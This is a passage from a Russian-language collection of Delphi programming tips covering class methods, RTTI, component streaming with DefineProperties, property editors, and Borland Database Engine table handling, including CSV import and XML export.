EncodeFieldDesc(PFieldDescList(pFieldDesc)^[I], Name, DataType, Size); End; { the driver type is nil = logical fields }. Check(DbiTranslateRecordStructure(nil, iFields, pFieldDesc, Nil, nil, pFieldDesc)); { here we go - this is where hCursor gets its value }. Check(DbiCreateInMemTable(DBHandle, szTblName, iFields, pFieldDesc, hCursor)); Finally. If pFieldDesc <> nil then FreeMem(pFieldDesc, iFields * SizeOf(FLDDesc)); SetDBFlag(dbfTable, False); End; End; End.

Динамические и виртуальные методы.

Согласно онлайновой документации, динамические и виртуальные методы семантически идентичны, единственно различие заключается в их реализации, нижеследующий код генерирует указанную ошибку компиляции:

Code: Type t = class. Function a: integer; {статический}. Function b: integer; virtual; Function c: integer; dynamic; Property i: integer read a; { ok }. Property j: integer read b; { ok }. Property k: integer read c;{ ОШИБКА: type mismatch (не совпадение типа) }. End;

Override/Vitual/Dynamic - методы.

Если метод в классе предка объявлен как виртуальный (virtual) или динамический (dynamic), вам необходимо перекрыть его во всех классах-наследниках. Если вы объявляете унаследованный метод виртуальным или динамическим, вы начинаете строить его новое виртуальное/динамическое дерево наследования. Допустим, у нас есть следующая иерархия: A (родитель) - B - C - D. Если вы объявляете метод как виртуальный (или динамический) в A, перекрываете в B, создаете виртуальным в C и перекрываете в D, вот что получается:

Фактический класс, используемый класс, использующий.

Класс для доступа к методу метод.

-----------+---------------------+--------------------

D D D.

D C D.

D B B.

D A B.

C C C.

C B B.

C A B.

B B B.

B A B.

Вывод: работа виртуального/динамического наследования прекращается в момент создания одноименного виртуального/динамического метода наследниками класса.

Mark.

©Drkb::00115.

Взято из Советов по Delphi от Валентина Озерова.

Сборник Kuliba.

Выполнение процедуры по адресу.

Code: Var F: procedure(x, y: double); @F := GetProcAddress(hDLL, 'SOMEPROC'); F(3, 4);

Информация о TClass.

TObject - "корневой" объект.

TClass определен как Class of TObject. Переменная Class НЕ является указателем на экземпляр объекта. Это указатель на *ТИП* объекта Class.

Code: Var. Obj1: TWinControl; Class1: class of TWinControl;

Переназначения объектов.

Существует ли возможность переключения набора данных, используемого DBNavigator на набор данных активного элемента управления без из прямого указания?

Все, что вы хотите, поместится в пару строк кода. Добавьте "TypInfo" в список используемых модулей и сделайте примерно следующее:

Code: Var. PropInfo: PPropInfo; Begin. PropInfo := GetPropInfo(PTypeInfo(ActiveControl.ClassInfo), 'DataSource'); If (PropInfo <> nil). And (PropInfo^.PropType^.Kind = tkClass). And (GetTypeData(PropInfo^.PropType)^.ClassType = TDataSource) then. DBNavigator1.DataSource := TDataSource(GetOrdProp(ActiveControl, PropInfo)); End;

Как избежать использования неактуальных указателей.

Я создал простой модуль и разработал несколько простых методов, помогающих избежать использования неактуальных (в оригинале было "stale" - черствый, несвежий) указателей. Я настоятельно рекомендую добавить во все модули, содержащие указатели или объектные переменные секцию инициализации ('initialization') и установить все указатели (объектные переменные это те же реальные указатели) в nil. Что это даст: прежде чем хотя бы один указатель будет использован, он обязательно будет проверен, освобожден и установлен в nil. Затем, после освобождения указателей, просто установите их в nil. Мой модуль содержит функцию Nilify() для установки указателей в nil, а также специальные версии методов Free, Dispose, и FreeMem (названные NilXXX) для проверки значения nil перед освобождением памяти, и установления указателя в nil сразу после того, как он был освобожден. Я также включил специальную версию Assigned(), названную IsNil(), которая вместо переменного (var) параметра получает константу, которую вы можете затем использовать в своих свойствах, и т.п.

Этот модуль, конечно, ничего не делает с VCL, но тем не менее вы можете иметь неактуальные указатели и с VCL... Строгое соблюдение функций модуля сделает вас уверенным в отсутствии ошибок при работе с указателями. Единственное условие использования модуля - в случае любых изменений кода с вашей стороны или наличия каких-либо замечаний или предложений пришлите их пожалуйста мне. Пользуйтесь на здоровье!

Получение ссылки на экземпляр класса.

...мне также понадобилось в подпрограмме получить ссылку на дочернее MDI-окно без сообщения подпрограмме с каким конкретно классом MDI необходимо работать. Что я сделал: я передавал в виде параметров тип дочернего MDI-окна и ссылку как нетипизированную переменную и затем обрабатывал это в подпрограмме.

Вот пример. Эта подпрограмма работает с дочерним окном, которое может иметь только один экземпляр. Если оно не открыто, подпрограмма создаст его, если оно открыто, оно переместит его на передний план.

Code: Procedure FormLoader(FormClassType: TFormClass; var FormName); Begin. If TForm(FormName) = nil then. Begin. Application.CreateForm(FormClassType, FormName); End. Else. Begin. TForm(FormName).BringToFront; TForm(FormName).WindowState := wsNormal; End; End; Вот как это вызывать: Procedure TfrmTest.sbOpenClick(Sender: TObject); Begin. FormLoader(TfrmTest, frmTest); End;

Работа метода Assign.

В общем случае, утверждение "Destination := Source" не идентично утверждению "Destination.Assign(Source)".

Утверждение "Destination := Source" принуждает Destination ссылаться на тот же объект, что и Source, а "Destination.Assign(Source)" копирует содержание объектных ссылок Source в объектные ссылки Destination.

Если Destination является свойством некоторого объекта (тем не менее, и свойство не является ссылкой на другой объект, как, например, свойство формы ActiveControl, или свойство DataSource элементов управления для работы с базами данных), тогда утверждение "Destination := Source" идентично утверждению "Destination.Assign(Source)". Это объясняет, почему LB.Items := MemStr работает, когда MemStr := LB.Items нет.

©Drkb::00120.

Взято из Советов по Delphi от Валентина Озерова.

Сборник Kuliba.

Код определения свойств.

Итак вам опять нужно "немного" кода. Вот небольшой примерчик компонента лично для вас и остальных моих читателей. Установите этот компонент в палитру Delphi, бросьте экземпляр на форму, закройте ее и модуль и откройте форму как файл формы, используя в диалоге открытия тип *.dfm. Вы увидите дополнительные свойства 'StringThing' и 'Thing'. Первое - свойство строки, второе - бинарное свойство, фактически запись. Если вы имеете HexEdit (шестнадцатиричный редактор) или что-то аналогичное, взгляните на ваш dfm-файл и вы увидите тэги ваших новых свойств вместе с их именами.

Если TReader/TWriter имеет специфические методы для чтения/записи свойств и вы хотите добавить, например, строку, целое, символ или что-то еще (проверьте описание соответствующих методов TReader в файлах помощи), то в этом случае используйте DefineProperty. В случае сложного объекта используйте DefineBinaryProperty и ваши методы чтения и записи получат TStream вместо TReader/TWriter.

Code: Unit PropDemo; Interface. Uses. SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls, Forms, Dialogs; Type. TDemoProps = class(TComponent). Private. { Private declarations }. FStringThing: string; FThing: record. I, j, k: integer; X, y: real; Ch: char; End; Procedure ReadStringThing(Reader: TReader); Procedure WriteStringThing(Writer: TWriter); Procedure ReadThing(Stream: TStream); Procedure WriteThing(Stream: TStream); Protected. { Protected declarations }. Procedure DefineProperties(Filer: TFiler); override; Public. { Public declarations }. Constructor Create(AOwner: TComponent); override; Published. { Published declarations }. End; Procedure Register; Implementation. Constructor TDemoProps.Create(AOwner: TComponent); Begin. Inherited Create(AOwner); { создайте любые данные, чтобы было что передать в поток}. FStringThing := 'Всем привет!'; With FThing do. Begin. I := 1; J := 2; K := 3; X := PI; Y := 180 / PI; Ch := '?'; End; End; Procedure TDemoProps.ReadStringThing(Reader: TReader); Begin. FStringThing := Reader.ReadString; End; Procedure TDemoProps.WriteStringThing(Writer: TWriter); Begin. Writer.WriteString(FStringThing); End; Procedure TDemoProps.ReadThing(Stream: TStream); Begin. Stream.ReadBuffer(FThing, sizeof(FThing)); End; Procedure TDemoProps.WriteThing(Stream: TStream); Begin. Stream.WriteBuffer(FThing, sizeof(FThing)); End; Procedure TDemoProps.DefineProperties(Filer: TFiler); Begin. Inherited DefineProperties(Filer); Filer.DefineProperty('StringThing', ReadStringThing, WriteStringThing, FStringThing <> ''); Filer.DefineBinaryProperty('Thing', ReadThing, WriteThing, true); End; Procedure Register; Begin. RegisterComponents('Samples', [TDemoProps]); End; End.

Mike Scott.

Mobius Ltd.

©Drkb::00036.

Взято из Советов по Delphi от Валентина Озерова.

Сборник Kuliba.

Как скопировать структуру таблицы?

Code: { As we know, Paradox Tables consist in a table file and some corresponding index files. There are many way to copy them: 1. Using TBatchMover (at DataAccess Pallete) with Mode : BatCopy. But you can't copy the tables corresponding index files, TBatchMove just. Copies the structure and data. 2. Using FileCopy. But you can't copy the tables corresponding index files automatically, You should define each files. .. and many more. The Simple way is: Put two TTables on your form, name it as tbSource and tbTarget. Then, put this procedure under implementation area. } Type. TForm1 = class(TForm). TbSource: TTable; TbTarget: TTable; // ... End; Implementation. Procedure TForm1.Button1Click(Sender: TObject); Begin. TbSource.TableName := 'Source.DB'; // The name of your tables which you want to copy from. TbTarget.TableName := 'Target.DB'; // The name of your tables which you will to copy to. // You Can set the tbSource.DataBaseName to an existing path/Alias. // where you store your DB. // You Can set the tbTarget.DataBaseName to an existing path/Alias. // where you want to store the duplicate DB. TbSource.StoreDefs := True; TbTarget.StoreDefs := True; TbSource.FieldDefs.Update; TbSource.IndexDefs.Update; TbTarget.FieldDefs := tbSource.FieldDefs; TbTarget.IndexDefs := tbSource.IndexDefs; TbTarget.CreateTable; //Actually you can set these code up to only 5 lines :). End; End.

Регистрация редактора свойства.

Скажем, вы имеете компонент TContainer, содержащий TContainedClass в свойстве с именем 'Contained' - попробуйте добавить следующую строку к процедуре Register вашего компонента:

Code: RegisterPropertyEditor(TypeInfo(TContainedClass), TContainer, 'Contained', TClassProperty);

Не забудьте добавить TypInfo и DsgnIntf в список используемых модулей.

Все это задокументировано в справке помощи. Первым параметром всегда идет TypeInfo() с "коллекционируемым" классом в качестве параметра, затем контейнерный класс или NIL, если он должен работать для всех экземпляров контейнерного класса с заданным свойством, затем идет имя контейнерного свойства или '', если редактор должен работать для всех свойств, и завершает славную четверку параметров класс TClassProperty, расширяющий классовое свойство, т.е. "создающий" знак "+" в Инспекторе Объектов, позволяющий редактировать вложенные свойства (щелчок на плюсике раскрывает список вложенных свойств описываемого контейнерного класса).

Mike Scott.

Mobius Ltd.

©Drkb::00037.

Взято из Советов по Delphi от Валентина Озерова.

Сборник Kuliba.

Демонстрация DefineProperties.

Хорошо, создайте на основе опубликованного ниже кода модуль PropDemo.pas и добавьте новый компонент в палитру компонентов. Расположите его на форме и сохраните ее. Затем посмотрите файл DFM каким-либо шестнадцатиричным редактором и проверьте наличие определенных свойств по их именованным тэгам. Вы можете также попробовать закрыть форму и модуль, а затем открыть его с помощью пункта меню File | Open file..., изменив тип файла в выпадающем списке на *.DFM.

Mike Scott.

Mobius Ltd.

Code: Unit PropDemo; { Демонстрация DefineProperties.Mike Scott, CIS 100140,2420. }. Interface. Uses. SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls, Forms, Dialogs; Type. TDemoProps = class(TComponent). Private. { Private declarations }. FStringThing: string; FThing: record. I, j, k: integer; X, y: real; Ch: char; End; Procedure ReadStringThing(Reader: TReader); Procedure WriteStringThing(Writer: TWriter); Procedure ReadThing(Stream: TStream); Procedure WriteThing(Stream: TStream); Protected. { Protected declarations }. Procedure DefineProperties(Filer: TFiler); override; Public. { Public declarations }. Constructor Create(AOwner: TComponent); override; Published. { Published declarations }. End; Procedure Register; Implementation. Constructor TDemoProps.Create(AOwner: TComponent); Begin. Inherited Create(AOwner); { создайте любые данные, чтобы было что передать в поток}. FStringThing := 'Всем привет!'; With FThing do. Begin. I := 1; J := 2; K := 3; X := PI; Y := 180 / PI; Ch := '?'; End; End; Procedure TDemoProps.ReadStringThing(Reader: TReader); Begin. FStringThing := Reader.ReadString; End; Procedure TDemoProps.WriteStringThing(Writer: TWriter); Begin. Writer.WriteString(FStringThing); End; Procedure TDemoProps.ReadThing(Stream: TStream); Begin. Stream.ReadBuffer(FThing, sizeof(FThing)); End; Procedure TDemoProps.WriteThing(Stream: TStream); Begin. Stream.WriteBuffer(FThing, sizeof(FThing)); End; Procedure TDemoProps.DefineProperties(Filer: TFiler); Begin. Inherited DefineProperties(Filer); Filer.DefineProperty('StringThing', ReadStringThing, WriteStringThing, FStringThing <> ''); Filer.DefineBinaryProperty('Thing', ReadThing, WriteThing, true); End; Procedure Register; Begin. RegisterComponents('Samples', [TDemoProps]); End; End.

Как заставить код компонента работать только в дизайне?

Code: If csDesigning in ComponentState then. Begin. ... код, работающий только в дизайне ... End;

Показ свойств во время выполнения программы.

Я написал компонент-отладчик, выводящий в дереве все компоненты. Попробуйте этот код. Вызывайте функцию DisplayProperties как показано ниже:

Code: DisplayProperties(Form1, {Вы можете использовать любой компонент}. Outline1.Lines, {Допускается любой TStrings-объект}. 0); {0 - "стартовый", корневой уровень}. DisplayProperties(AObj: TObject; AList: TStrings; iIndentLevel: Integer); Var. Indent: string; ATypeInfo: PTypeInfo; ATypeData: PTypeData; APropTypeData: PTypeData; APropInfo: PPropInfo; APropList: PPropList; IProp: Integer; ICnt: Integer; ICntProperties: SmallInt; ASecondObj: TObject; Procedure AddLine(sLine: string); Begin. AList.Add(Indent + #160 + IntToStr(iProp) + ': ' + APropInfo^.Name. + ' (' + APropInfo^.PropType^.Name + ')' + sLine); End; Begin. Try. Indent := GetIndentSpace(iIndentLevel); ATypeInfo := AObj.ClassInfo; ATypeData := GetTypeData(ATypeInfo); ICntProperties := ATypeData^.PropCount; GetMem(APropList, SizeOf(TPropInfo) * iCntProperties); GetPropInfos(ATypeInfo, APropList); For iProp := 0 to ATypeData^.PropCount - 1 do. Begin. APropInfo := APropList^[iProp]; Case APropInfo^.PropType^.Kind of. TkInteger: AddLine(' := ' + IntToStr(GetOrdProp(AObj, APropInfo))); TkChar: AddLine(' := ' + chr(GetOrdProp(AObj, APropInfo))); TkEnumeration: Begin. APropTypeData := GetTypeData(APropInfo^.PropType); If APropTypeData^.BaseType^.Name <> APropInfo^.PropType^.Name then. AddLine(' := ' + IntToStr(GetOrdProp(AObj, APropInfo))). Else. AddLine(' := ' + APropTypeData^.NameList); End; TkFloat: AddLine(' := ' + FloatToStr(GetFloatProp(AObj, APropInfo))); TkString: AddLine(' := "' + GetStrProp(AObj, APropInfo) + '"'); TkSet: Begin. AddLine(' := ' + IntToStr(GetOrdProp(AObj, APropInfo))); End; TkClass: Begin. ASecondObj := TObject(GetOrdProp(AObj, APropInfo)); If ASecondObj = nil then. AddLine(' := NIL'). Else. Begin. AddLine(''); DisplayProperties(ASecondObj, AList, iIndentLevel + 1); End; End; TkMethod: Begin. AddLine(''); End; Else. AddLine(' := >>НЕИЗВЕСТНО<<'); End; End; Except {Выводим исключение и продолжаем дальше}. On e: Exception do ShowMessage(e.Message); End; FreeMem(APropList, SizeOf(TPropInfo) * iCntProperties); End; Function GetIndentSpace(iIndentLevel: Integer): string; Var iCnt: Integer; Begin. Result := ''; For iCnt := 0 to iIndentLevel - 1 do. Result := Result + #9; End;

- Thomas von Stetten.

©Drkb::00038.

Взято из Советов по Delphi от Валентина Озерова.

Сборник Kuliba.

Редактор свойства Color с заданными ограничениями.

Редактор свойства, пример которого приведен ниже, имеет ограничение на устанавливаемые цвета: только clRed, clWhite или clBlue.

Code: Unit ClrComps; Interface. Uses. SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls, Forms, Dialogs, DsgnIntf; Type. TColorComponent = class(TComponent). Private. FColor: TColor; Protected. Procedure SetColor(Value: TColor); Public. Constructor Create(AnOwner: TComponent); override; Published. Property Color: TColor read FColor write SetColor; End; { Это специальный редактор свойства выбора цветов... }. TMyColorProperty = class(TIntegerProperty). Public. Function GetAttributes: TPropertyAttributes; override; Function GetValue: string; override; Procedure GetValues(Proc: TGetStrProc); override; Procedure SetValue(const Value: string); override; End; Procedure Register; Implementation. { TMyColorProperty }. Function TMyColorProperty.GetAttributes: TPropertyAttributes; Begin. Result := [paMultiSelect, paValueList]; End; Function TMyColorProperty.GetValue: string; Begin. Result := ColorToString(TColor(GetOrdValue)); End; Procedure TMyColorProperty.GetValues(Proc: TGetStrProc); Begin. Proc('clRed'); Proc('clWhite'); Proc('clBlue'); End; Procedure TMyColorProperty.SetValue(const Value: string); Var. NewValue: Longint; Begin. If IdentToColor(Value, NewValue) and. ((NewValue = clRed) or. (NewValue = clWhite) or. (NewValue = clBlue)) then. SetOrdValue(NewValue); End; { Образец компонента... }. Constructor TColorComponent.Create(AnOwner: TComponent); Begin. Inherited Create(AnOwner); FColor := clRed; End; Procedure TColorComponent.SetColor(Value: TColor); Begin. If (Value = clRed) or. (Value = clWhite) or. (Value = clBlue) then. Begin. FColor := Value; End; End; Procedure Register; Begin. RegisterComponents('Samples', [TColorComponent]); RegisterPropertyEditor(TypeInfo(TColor), TColorComponent, 'Color', TMyColorProperty); End; End.

- Ed Jordan.

©Drkb::00039.

Взято из Советов по Delphi от Валентина Озерова.

Сборник Kuliba.

Формат файла ASCII-схемы.

В файле asciidrv.txt насчет последнего числа в строке схемы поля говорится:

"* Offset - Number of characters from the beginning of the line that the field begins. Used for FIXED format only." (Offset - количество символов он начала линии до начала поля. Используется только для фиксированного формата.).

С тех пор, как мой файл имеет переменный (Variable) формат, я задал в каждой строке смещение, равное нулю. После некоторых попыток, чтобы заставить это работать, я следал следующие изменения:

[discs].

Filetype = varying.

Charset = ascii.

Delimiter = ".

Separator = ,

Field1 = id,char,10,0,1.

Field2 = title,char,30,0,2.

Field3 = artist,char,30,0,3.

...

Field36 = song30,char,50,0,36.

После более произвольных изменений это стало таким:

[discs].

Filetype = varying.

Charset = ascii.

Delimiter = ".

Separator = ,

Field1 = id,char,10,0,10.

Field2 = title,char,30,0,20.

Field3 = artist,char,30,0,30.

...

Field36 = song30,char,50,0,360.

И внезапно все заработало! Для поля, которое игнорируется форматом файла, "Offset" несомненно дало огромный эффект.

©Drkb::02972.

Взято из Советов по Delphi от Валентина Озерова.

Сборник Kuliba.

Очень медленный доступ к таблице при первом обращении.

Данная проблема возникает из-за того, что BDE вначале запрашивает базу данных для получения информации о таблице, прежде чем он начнет с ней работать. Как только появляется информация о таблице, она кэшируется и обращение к таблице во время всего сеанса (пока TDatabase.Connection имеет значение True) происходит практически мгновенно. Для того, чтобы использовать кэшируемую информацию и при последующем запуске приложения, в конфигурации BDE найдите необходимый псевдоним и установите BDE CACHE = TRUE и BDE CACHE DIR = 'C:\temp' или любой другой удобный каталог.

ПРИМЕЧАНИЕ:При любом изменении структуры таблицы Вам придется удалять кэш вручную. Имя файла, в котором хранится кэш, Вы можете узнать, посмотрев в любом текстовом редакторе файл SCache.INI.

©Drkb::02592.

Взято из Советов по Delphi от Валентина Озерова.

Сборник Kuliba.

Импорт CSV ASCII.

Code: Unit Cdbascii; Interface. Uses. SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls, Forms, Dialogs, DbiErrs, DbiTypes, DbiProcs, DB, DBTables; Type. TAsciiDelimTable = class(TTable). Private. { Private declarations }. FQuote: Char; FDelim: Char; Protected. { Protected declarations }. Function CreateHandle: HDBICur; override; Procedure SetQuote(newValue: Char); Procedure SetDelim(newValue: Char); Public. { Public declarations }. Constructor Create(AOwner: TComponent); override; Destructor Destroy; override; { Эти свойства не должны больше публиковаться }. Property IndexFieldNames; Property IndexName; Property MasterFields; Property MasterSource; Property UpdateMode; Published. { Published declarations }. Property Quote: Char read fQuote write setQuote default '"'; Property Delim: Char read fDelim write setDelim default ','; End; Procedure Register; Implementation. Uses DBConsts; Procedure Register; Begin. RegisterComponents('Data Access', [TAsciiDelimTable]); End; Constructor TAsciiDelimTable.Create(AOwner: TComponent); Begin. Inherited Create(AOwner); Exclusive := True; TableType := ttASCII; FQuote := '"'; FDelim := ','; End; Destructor TAsciiDelimTable.Destroy; Begin. Inherited Destroy; End; { Рабочий код }. Function CheckOpen(Status: DBIResult): Boolean; Begin. Case Status of. DBIERR_NONE: Result := True; DBIERR_NOTSUFFTABLERIGHTS: Begin. If not Session.GetPassword then DbiError(Status); Result := False; End; Else. DbiError(Status); End; End; Function TAsciiDelimTable.CreateHandle: HDBICur; Const. OpenModes: array[Boolean] of DbiOpenMode = (dbiReadWrite, dbiReadOnly); ShareModes: array[Boolean] of DbiShareMode = (dbiOpenShared, dbiOpenExcl); Var. STableName: array[0..SizeOf(TFileName) - 1] of Char; SDriverType: array[0..12] of Char; Begin. If TableName = '' then DBError(SNoTableName); AnsiToNative(DBLocale, TableName, STableName, SizeOf(STableName) - 1); StrPCopy(SDriverType, 'ASCIIDRV-' + Quote + '-' + Delim); Result := nil; While not CheckOpen(DbiOpenTable(DBHandle, STableName, SDriverType, Nil, nil, 0, OpenModes[ReadOnly], ShareModes[Exclusive], XltField, False, nil, Result)) do {Повтор}. ; End; Procedure TAsciiDelimTable.SetQuote(newValue: Char); Begin. If Active then. { DBError(SInvalidBatchMove); }; FQuote := newValue; End; Procedure TAsciiDelimTable.SetDelim(newValue: Char); Begin. If Active then. { DBError(SInvalidBatchMove); }; FDelim := newValue; End; End.

Имя пользователя Paradox.

Вы можете выполнить эту задачу, непосредственно обращаясь к BDE. Включите следующие модули в сецию Uses вашего модуля: DBIPROCS, DBIERRS, DBITYPES.

Ниже приведена функция с именем ID, возвращающая сетевое имя входа:

Code: Function ID: string; Var. Rslt: DBIResult; SzErrMsg: DBIMSG; PszUserName: PChar; Begin. Try. Result := ''; PszUserName := nil; GetMem(pszUserName, SizeOf(Char) * DBIMAXXBUSERNAMELEN); Rslt := DbiGetNetUserName(pszUserName); If rslt = DBIERR_NONE then. Result := StrPas(pszUserName). Else. Begin. DbiGetErrorString(rslt, szErrMsg); Raise Exception.Create(StrPas(szErrMsg)); End; FreeMem(pszUserName, SizeOf(Char) * DBIMAXXBUSERNAMELEN); PszUserName := nil; Except. On E: EOutOfMemory do ShowMessage('Ошибка. ' + E.Message); On E: Exception do ShowMessage(E.Message); End; If pszUserName <> nil then FreeMem(pszUserName, SizeOf(Char) * DBIMAXXBUSERNAMELEN); End;

Как сделать экспорт TDataSet в XML file?

Code: {Unit to export a dataset to XML}. Unit DS2XML; Interface. Uses. Classes, DB; Procedure DatasetToXML(Dataset: TDataSet; FileName: string); Implementation. Uses. SysUtils; Var. SourceBuffer: PChar; Procedure WriteString(Stream: TFileStream; s: string); Begin. StrPCopy(SourceBuffer, s); Stream.Write(SourceBuffer[0], StrLen(SourceBuffer)); End; Procedure WriteFileBegin(Stream: TFileStream; Dataset: TDataSet); Function XMLFieldType(fld: TField): string; Begin. Case fld.DataType of. FtString: Result := '"string" WIDTH="' + IntToStr(fld.Size) + '"'; FtSmallint: Result := '"i4"'; //?? FtInteger: Result := '"i4"'; FtWord: Result := '"i4"'; //?? FtBoolean: Result := '"boolean"'; FtAutoInc: Result := '"i4" SUBTYPE="Autoinc"'; FtFloat: Result := '"r8"'; FtCurrency: Result := '"r8" SUBTYPE="Money"'; FtBCD: Result := '"r8"'; //?? FtDate: Result := '"date"'; FtTime: Result := '"time"'; //?? FtDateTime: Result := '"datetime"'; Else. End; If fld.Required then. Result := Result + ' required="true"'; If fld.ReadOnly then. Result := Result + ' readonly="true"'; End; Var. I: Integer; Begin. WriteString(Stream, '<?xml version="1.0" standalone="yes"?><!-- Generated by SMExport --> ' + '<DATAPACKET Version="2.0">'); WriteString(Stream, '<METADATA><FIELDS>'); {write th metadata}. With Dataset do. For i := 0 to FieldCount - 1 do. Begin. WriteString(Stream, '<FIELD attrname="' + Fields[i].FieldName + '" fieldtype=' + XMLFieldType(Fields[i]) + '/>'); End; WriteString(Stream, '</FIELDS>'); WriteString(Stream, '<PARAMS DEFAULT_ORDER="1" PRIMARY_KEY="1" LCID="1033"/>'); WriteString(Stream, '</METADATA><ROWDATA>'); End; Procedure WriteFileEnd(Stream: TFileStream); Begin. WriteString(Stream, '</ROWDATA></DATAPACKET>'); End; Procedure WriteRowStart(Stream: TFileStream; IsAddedTitle: Boolean); Begin. If not IsAddedTitle then. WriteString(Stream, '<ROW'); End; Procedure WriteRowEnd(Stream: TFileStream; IsAddedTitle: Boolean); Begin. If not IsAddedTitle then. WriteString(Stream, '/>'); End; Procedure WriteData(Stream: TFileStream; fld: TField; AString: ShortString); Begin. If Assigned(fld) and (AString <> '') then. WriteString(Stream, ' ' + fld.FieldName + '="' + AString + '"'); End; Function GetFieldStr(Field: TField): string; Function GetDig(i, j: Word): string; Begin. Result := IntToStr(i); While (Length(Result) < j) do. Result := '0' + Result; End; Var. Hour, Min, Sec, MSec: Word; Begin. Case Field.DataType of. FtBoolean: Result := UpperCase(Field.AsString); FtDate: Result := FormatDateTime('yyyymmdd', Field.AsDateTime); FtTime: Result := FormatDateTime('hhnnss', Field.AsDateTime); FtDateTime: Begin. Result := FormatDateTime('yyyymmdd', Field.AsDateTime); DecodeTime(Field.AsDateTime, Hour, Min, Sec, MSec); If (Hour <> 0) or (Min <> 0) or (Sec <> 0) or (MSec <> 0) then. Result := Result + 'T' + GetDig(Hour, 2) + ':' + GetDig(Min, 2) + ':' + GetDig(Sec, 2) + GetDig(MSec, 3); End; Else. Result := Field.AsString; End; End; Procedure DatasetToXML(Dataset: TDataSet; FileName: string); Var. Stream: TFileStream; Bkmark: TBookmark; I: Integer; Begin. Stream := TFileStream.Create(FileName, fmCreate); SourceBuffer := StrAlloc(1024); WriteFileBegin(Stream, Dataset); With DataSet do. Begin. DisableControls; Bkmark := GetBookmark; First; {write a title row}. WriteRowStart(Stream, True); For i := 0 to FieldCount - 1 do. WriteData(Stream, nil, Fields[i].DisplayLabel); {write the end of row}. WriteRowEnd(Stream, True); While (not EOF) do. Begin. WriteRowStart(Stream, False); For i := 0 to FieldCount - 1 do. WriteData(Stream, Fields[i], GetFieldStr(Fields[i])); {write the end of row}. WriteRowEnd(Stream, False); Next; End; GotoBookmark(bkmark); EnableControls; End; WriteFileEnd(Stream); Stream.Free; StrDispose(SourceBuffer); End; End.

ASCII-файл с использованием полей.

В том случае, когда вы собираетесь использовать содержимое текстового файла таким образом, как будто он имеет поля, вам необходим файл схемы, содержащий описание формата текстового файла и который необходим для осуществления вызовов при работе с полями (Fields / FieldByName / Post / и др.). Ниже приводится код, который вы можете использовать при создании своей программы:

Code: { Подразумеваем, что Table1 - файл, который мы хотим скопировать в ASCII-файл. Используем TBatchMove, поскольку быстро работает. Также это автоматически создаст файл схемы }. Procedure TForm1.Button1Click(Sender: TObject); Var. ODest: TTable; OBMove: TBatchMove; Begin. Try. ODest := nil; OBMove := nil; Table1.Close; ODest := TTable.Create(nil); With oDest do. Begin. DatabaseName := 'c:\delphi\files'; TableName := 'Test.Txt'; TableType := ttASCII; End; {Обратите внимание на то, что нет необходимости вызывать CreateTable}. OBMove := TBatchMove.Create(nil); With oBMove do. Begin. Source := Table1; Destination := oDest; Mode := batCopy; Execute; End; Finally. If Assigned(oDest) then oDest.Free; If Assigned(oBMove) then oBMove.Free; End; End; { Теперь, допустим, файл схемы существует; сам текстовый файл может как быть, так его может и не быть. С помощью файла схемы мы уже можем работать с полями }. Procedure TForm1.Button2Click(Sender: TObject); Var. OTxt: TTable; I: Integer; F: System.Text; Begin. Try. OTxt := nil; If not FileExists('c:\delphi\files\Test.Txt') then. Begin. AssignFile(f, 'c:\delphi\files\Test.Txt'); Rewrite(f); CloseFile(f); End; OTxt := TTable.Create(nil); With oTxt do. Begin. DatabaseName := 'c:\delphi\files'; TableName := 'Test.Txt'; TableType := ttASCII; Open; End; With Table1 do. Begin. DisableControls; If not Active then Open; First; While not EOF do. Begin. OTxt.Insert; { В данном случае файл схемы описывает формат текстового файла; в этом. Примере фактически один к одному воспроизводятся поля таблицы. В логическое определение полей в .sch-файле }. For i := 0 to FieldCount - 1 do. OTxt.Fields[i].AsString := Fields[i].AsString; OTxt.Post; Next; End; End; Finally. Table1.EnableControls; If Assigned(oTxt) then oTxt.Free; End; End;

Как узнать версию BDE?

Code: Uses. BDE; {Without the Registry:}. Procedure TForm1.Button1Click(Sender: TObject); Var. ThisVersion: SYSVersion; Begin. DbiGetSysVersion(ThisVersion); ShowMessage('BORLAND DATABASE ENGINE VERSION = ' + IntToStr(ThisVersion.iVersion)); End; {With the Registry:}. Function GetBDEVersion: string; Var. H: hwnd; Ptr: Pointer; Proc: TSYSVerProc; Ver: SYSVersion; Idapi: string; Reg: TRegistry; Begin. Try. Reg.RootKey := HKEY_CLASSES_ROOT; Reg.OpenKey('CLSID\{FB99D710-18B9-11D0-A4CF-00A024C91936}\InProcServer32', False); Idapi := reg.ReadString(''); Reg.CloseKey; Finally. Reg.Free; End; Result := '<BDE Bulunamadi>'; H := LoadLibrary(PChar(idapi)); If h <> 0 then. Try. Ptr := GetProcAddress(h, 'DbiGetSysVersion'); If ptr <> nil then. Begin. Proc := ptr; Proc(Ver); Result := IntToStr(ver.iVersion); Insert('.', Result, 2); End; Finally. FreeLibrary(h); End; End;

Индексы выражений.

DBASE - Индексы выражений (Expression Indexes): Введение.

Индексы для таблиц dBASE могут базироваться на значениях из отдельной области, нередактируемых данных, или на основе выражений. Индексы выражений, уникальные для индексов dBASE, могут формироваться на основе нескольких полей, измененных значений полей или их комбинаций. Выражение для dBASE-индекса создаются с использованием dBASE-функций и синтаксиса для конкатенации нескольких полей или изменения значений поля для полей, включенных в выражения индекса.

В конце данного совета включены два небольших раздела, описывающих механику создания индексов выражений dBASE, один относится к утилите Database Desktop, другой - к приложениям Delphi.

Индексные выражения на основе множества полей.

Функции dBASE доступны для применения в Delphi или Database Desktop для ускоренного использования в выражениях индекса, и затем только в связи с индексами dBASE. То есть, вы не сможете использовать функции dBASE или синтаксис для создания выражения индекса для таблицы Paradox или Local InterBase Server (LIBS). Функции dBASE не могут использоваться при программировании в Delphi. Они доступны только для выражений индесов dBASE. Синтаксис и функции dBASE, которые могут быть использованы для выражений индексов, "расположены" в библиотечном файле Borland Database Engine (BDE) IDDBAS01.DLL.

При создании индекса dBASE, который должен базироваться на двух или более полях таблицы, для которой он создается, два или более поля конкатенируются (связываются вместе) в величине, которая в некоторой степени похожа на Delphi тип String, с использованием синтакса Delphi: оператор "+". Например, выражению необходимо создать индекс, который должен базироваться в первую очередь на основе поля LastName, а затем на основе поля FirstName:

LastName + FirstName.

